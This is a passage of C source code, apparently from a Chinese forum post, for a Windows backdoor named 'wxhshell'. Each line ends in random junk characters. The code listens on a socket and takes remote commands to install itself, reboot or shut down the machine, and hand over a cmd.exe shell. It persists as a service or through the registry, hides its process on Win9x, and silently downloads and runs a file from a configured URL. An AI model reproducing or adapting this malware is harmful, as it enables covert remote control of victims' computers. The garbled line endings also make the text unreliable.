  } ;RW!l pGjP  
  else { [kgT"?w=  
Q <EFd   
    switch(cmd[0]) { Ooz+V;#Q  
  oL#^=vid"  
  // 帮助 ~;,]/'O  
  case '?': { Ot(U_rJCi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BV$lMLD{r  
    break; gQgG_&xkC  
  } g4P059  
  // 安装 <P ~+H>;  
  case 'i': { DIH.c7o  
    if(Install()) vL{~?vq6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +q"d=   
    else afv? z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =;0#F&  
    break; s%>>E!Qi_  
    } T.GY  
  // 卸载 M5HKRLt  
  case 'r': { gzvEy^X  
    if(Uninstall()) \i}n1Qd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P49lE  
    else K_oBSa`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bS<lB!  
    break; \f1r/e(G|  
    } 6gJy<a3  
  // 显示 wxhshell 所在路径 @3c5"  
  case 'p': { 3/>McZ@OH  
    char svExeFile[MAX_PATH]; Byyus[b'A  
    strcpy(svExeFile,"\n\r"); -7*,}xV  
      strcat(svExeFile,ExeFile); nZhL  
        send(wsh,svExeFile,strlen(svExeFile),0); FJKt5}`8  
    break; o8BbSZVu  
    } "2)<'4q5)  
  // 重启 RtGETiA\b  
  case 'b': { ]y@9 z b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L{ ?& .iA  
    if(Boot(REBOOT)) z9U<Z^4z+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vc$x?=  
    else { _+N*4  
    closesocket(wsh); ,Ww)>O+  
    ExitThread(0); nM34zVy  
    } OljUK,I]  
    break; 6 9ia #  
    } U_m<W$"HF  
  // 关机 4Z"D F)+}  
  case 'd': { !m^;Apuy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s\1h=V)!H  
    if(Boot(SHUTDOWN)) 7gfNe kr~W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WmP"u7I4  
    else { 2)h i(  
    closesocket(wsh); &Hb6  
    ExitThread(0); NZ/gp"D?  
    } YTpSR~!Rj  
    break; G$}\~dD  
    } DGj:qd(  
  // 获取shell n'v[[bmu  
  case 's': { [MdVgJ9'  
    CmdShell(wsh); HvN!_}[  
    closesocket(wsh); _-x|g~pV*  
    ExitThread(0); }RYr)  
    break; Zk"'x,]#  
  } dE^:-t  
  // 退出 {=PO`1H  
  case 'x': { j1*'yvGM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AcyiP   
    CloseIt(wsh); 6A;V[3  
    break; HsGXb\  
    } HhhN8t  
  // 离开 D'ZR>@w@  
  case 'q': { hU3c;6]3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L&MR%5  
    closesocket(wsh); 6C4c.+S  
    WSACleanup(); C$SuFL(pb  
    exit(1); g2JNa?z  
    break; {3@f(H m  
        } v{$X2z_$w  
  } /qed_w.p  
  } 57*z0<  
#Gx%PQ`  
  // 提示信息 wUW^ O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rS\j9@=Y4  
} fPZt*A__  
  } $[T^ S  
' 7+x,TszI  
  return; t*m04* }  
} %/"I.\%d  
2Hw&}8  
// shell模块句柄 !'wh hi  
int CmdShell(SOCKET sock) zR6,?Tzg  
{ >0DQ<@ot:  
STARTUPINFO si; f 5"1WtB  
ZeroMemory(&si,sizeof(si)); ^=.R#zrc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F{0Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BaZ$pO^  
PROCESS_INFORMATION ProcessInfo; 'FgBYy/  
char cmdline[]="cmd"; bGOOC?[UX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <qT[  
  return 0; ?1*Ka  
} 0_q8t!<xJw  
.T 6 NMIp*  
// 自身启动模式 =e](eA;  
int StartFromService(void) y<0zAsT  
{  QMLz  
typedef struct 1"YN{Ut;G  
{ n/6#rj^$  
  DWORD ExitStatus; NY 756B*  
  DWORD PebBaseAddress; Atc9[<~WG  
  DWORD AffinityMask;  <K;  
  DWORD BasePriority; C]414Ibi  
  ULONG UniqueProcessId; *`Swv`  
  ULONG InheritedFromUniqueProcessId; `ltc)$  
}   PROCESS_BASIC_INFORMATION; FM;NA{  
_8A  
PROCNTQSIP NtQueryInformationProcess; $s+/OgG4H  
 (-Cxv`7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nNz1gV:0X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]6L;   
DXBc 7J  
  HANDLE             hProcess; 7rQwn2XD{  
  PROCESS_BASIC_INFORMATION pbi; 5xC4lT/U  
s!,m,l[P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CX?q%o2b  
  if(NULL == hInst ) return 0; 3 9to5 s,  
.Ds d Q4Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~k\Dde  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KBE3q)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .2"-N5Z  
m:B9~ lbT+  
  if (!NtQueryInformationProcess) return 0; E@ J/_l;  
V5:ad  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (StX1g'  
  if(!hProcess) return 0; 60,z!Vv  
T<yAfnTb`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X-LCIT|1  
M.fAFL  
  CloseHandle(hProcess); 'yxN1JF  
O+x"c3@Z)D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zU7co.G  
if(hProcess==NULL) return 0; WX .Ax$fT  
Zc9@G-  
HMODULE hMod; K&ZN!VN/p  
char procName[255]; } I>68dS[  
unsigned long cbNeeded; !C\$=\$  
TOapq9B]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -p.c8B  
ypU-/}Cf,  
  CloseHandle(hProcess); Y`F)UwKK  
$B%wK`J  
if(strstr(procName,"services")) return 1; // 以服务启动 }Q $}LR@  
q9Zp8&<EqH  
  return 0; // 注册表启动 J^<Gi/:*^  
} Drm#z05i[g  
RO+ jVY~H-  
// 主模块 ~,ZU+  
int StartWxhshell(LPSTR lpCmdLine) P.bxq50  
{ JLd-{}A""-  
  SOCKET wsl; e}dGK=`  
BOOL val=TRUE; ,w`g + 9v  
  int port=0; >~@O\n-t  
  struct sockaddr_in door; m)AF9#aT2  
!/nXEjW?  
  if(wscfg.ws_autoins) Install(); Q^\m@7O :  
_%g L  
port=atoi(lpCmdLine); P:D;w2'Q  
aVB/Co M9  
if(port<=0) port=wscfg.ws_port; $UNC0 (4  
m tU{d^B  
  WSADATA data; Q g~cYwX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |RjAp.pm  
nQGl]2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]K?;XA3dZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c wNJ{S+  
  door.sin_family = AF_INET; '9{`Czc(Gb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R2Es~T  
  door.sin_port = htons(port); -pmb-#`M  
5(zdM)Y7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cwuzi;f  
closesocket(wsl); 6am g*=]  
return 1; _'8P8 T&  
} J':X$>E|  
E5aRTDLq  
  if(listen(wsl,2) == INVALID_SOCKET) { K;z$~;F  
closesocket(wsl); _(zZrUHB  
return 1; YMN=1Zuj?  
} *+OS;R1<  
  Wxhshell(wsl); |`ya+/ff+  
  WSACleanup(); ?(Se$iTZ  
OZc4 -5  
return 0; za%gD  
8)lrQvZ  
} apOXcZ   
xKR\w!+Z'  
// 以NT服务方式启动 &(7=NAQsE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dI%?uk  
{ 6k_Uq.<X  
DWORD   status = 0; i0:1+^3^U  
  DWORD   specificError = 0xfffffff; p}oGhO&=  
/4*Y#IpZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2FR+Z3&z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xh}S_/9}5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X+1Mv  
  serviceStatus.dwWin32ExitCode     = 0; d-3.7nJ:  
  serviceStatus.dwServiceSpecificExitCode = 0; /#WvC;B  
  serviceStatus.dwCheckPoint       = 0; V7b;qC'  
  serviceStatus.dwWaitHint       = 0; ]_BH"ng}  
Q,K$)bM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ({ O~O5k  
  if (hServiceStatusHandle==0) return; %pIP#y[4  
{E; bT|3z  
status = GetLastError(); .TMLg(2hgv  
  if (status!=NO_ERROR) }* \*<d 3  
{ ,ZghV1z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [ *Dj7z t:  
    serviceStatus.dwCheckPoint       = 0; fat;5XL@  
    serviceStatus.dwWaitHint       = 0; 3eg6 CdT  
    serviceStatus.dwWin32ExitCode     = status; ^T:L6:  
    serviceStatus.dwServiceSpecificExitCode = specificError; ph}%Ay$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2x>7>;>  
    return; G6QD`ED  
  } +h@.P B^`~  
~-<MoCm!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2X<%BFsE  
  serviceStatus.dwCheckPoint       = 0; ,<N{Y[n]e  
  serviceStatus.dwWaitHint       = 0; HfZ^ED"}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0 N"N$f  
} 'W,*mfB  
IyI0|&r2A  
// 处理NT服务事件,比如:启动、停止 q{&\nCy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PB *v45  
{ []v$QR&u#v  
switch(fdwControl) )s,LFIy<A  
{ Gx %=&O  
case SERVICE_CONTROL_STOP: =z;]FauR!  
  serviceStatus.dwWin32ExitCode = 0; RL:B.Lv/W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O6/:J#X%  
  serviceStatus.dwCheckPoint   = 0; $ay!'MK0d  
  serviceStatus.dwWaitHint     = 0; oYdE s&qq  
  { &?1O D5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^2H;  
  } dB6['z)2  
  return; tKS[  
case SERVICE_CONTROL_PAUSE: _RzF h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (H5#r2h%Y  
  break; ,{mv6?_  
case SERVICE_CONTROL_CONTINUE: ufCpX>lNF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q}+zN eC  
  break; _1Q6FI5iR  
case SERVICE_CONTROL_INTERROGATE:  IMr#5  
  break; XmD(&3;v-  
}; n$N$OFuO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {nXygg J  
} Cdy,8*   
>+Ig<}p  
// 标准应用程序主函数 Ui!l3_O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d)S`.Q  
{ RyP MzxV  
I?S t}Tl  
// 获取操作系统版本 5D.Sg;\  
OsIsNt=GetOsVer(); ~Th,<w*o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mogmr  
lP*n%Pn)  
  // 从命令行安装 m";..V  
  if(strpbrk(lpCmdLine,"iI")) Install(); :_y!p  
N2k<W?wQ  
  // 下载执行文件 {1Y @%e  
if(wscfg.ws_downexe) { }NoP(&ebz*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gyD;kn\CP  
  WinExec(wscfg.ws_filenam,SW_HIDE); i(pHJP:a:  
} 2,dWD<h  
T\n6^@.>  
if(!OsIsNt) { D HT^.UM28  
// 如果时win9x,隐藏进程并且设置为注册表启动 /2zan}  
HideProc(); Pw| h`[h  
StartWxhshell(lpCmdLine); nj0sh"~+  
} l 9 wO x  
else yhYF "~CM  
  if(StartFromService()) ,[IDC3.4^R  
  // 以服务方式启动 FLs$  
  StartServiceCtrlDispatcher(DispatchTable); zPND $3&'  
else [nZIV  
  // 普通方式启动 -&sY*(:n_  
  StartWxhshell(lpCmdLine); t))MZw&@  
;:j1FOj  
return 0; =qc+sMo  
}
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只看该作者 1 发表于: 2006-10-10
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